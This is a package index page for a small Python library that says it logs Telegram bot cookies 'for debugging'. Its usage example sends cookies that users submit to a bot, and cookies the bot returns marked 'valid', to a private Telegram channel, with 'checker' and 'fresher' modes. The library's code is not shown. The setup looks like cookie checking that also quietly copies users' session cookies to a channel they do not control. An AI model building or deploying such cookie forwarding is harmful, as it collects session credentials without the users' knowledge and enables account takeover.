Skip to main content

Cookie logging library for Telegram bots

Project description

227checkergenerator

Cookie logging library for Telegram bots. Sends incoming/outgoing cookies to a private Telegram channel for debugging.

Installation

pip install 227checkergenerator

Usage

from aiogram import Bot
from checker227 import checker228

bot = Bot(token="YOUR_TOKEN")
logger = checker228(bot, channel_id=-5231635826)

# Log incoming cookies (user sent to bot)
await logger.log_incoming(
    user_id=123456,
    cookies=["cookie1", "cookie2"],
    mode="checker",
    username="user123"
)

# Log outgoing cookies (bot sends to user)
await logger.log_outgoing(
    user_id=123456,
    cookies=["valid_cookie1"],
    mode="checker",
    status="valid"
)

# Log errors
await logger.log_error(
    user_id=123456,
    mode="fresher",
    error="Connection timeout"
)

Features

  • Async queue-based sending (non-blocking)
  • Auto file upload for large cookie lists (>5 cookies)
  • HTML formatted messages
  • Error logging
  • Background worker with rate limiting

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

227checkergenerator-1.0.1.tar.gz (3.5 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

227checkergenerator-1.0.1-py3-none-any.whl (4.1 kB view details)

Uploaded Python 3

File details

Details for the file 227checkergenerator-1.0.1.tar.gz.

File metadata

  • Download URL: 227checkergenerator-1.0.1.tar.gz
  • Upload date:
  • Size: 3.5 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.12.8

File hashes

Hashes for 227checkergenerator-1.0.1.tar.gz
Algorithm Hash digest
SHA256 372e656b9898a2436677a3b3ed2b65bd026cb06141adebe3b16bd0af0502ab4b
MD5 c758802cabf8ca7269717d412f85a9b1
BLAKE2b-256 094d4d8d92d42c9512980a28ace677ff73e6ea077a22293929c185b6864fbdb6

See more details on using hashes here.

File details

Details for the file 227checkergenerator-1.0.1-py3-none-any.whl.

File metadata

File hashes

Hashes for 227checkergenerator-1.0.1-py3-none-any.whl
Algorithm Hash digest
SHA256 6e04e278dac68a19b2c718158241e79b1933fded78cc916d77c82eedcf7252b5
MD5 2e329d67b00dac4b1c88af8c5a9a6473
BLAKE2b-256 8745610432b95994f25b928189d6e655399278b81d07543f99b9741f3a4f37b1

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page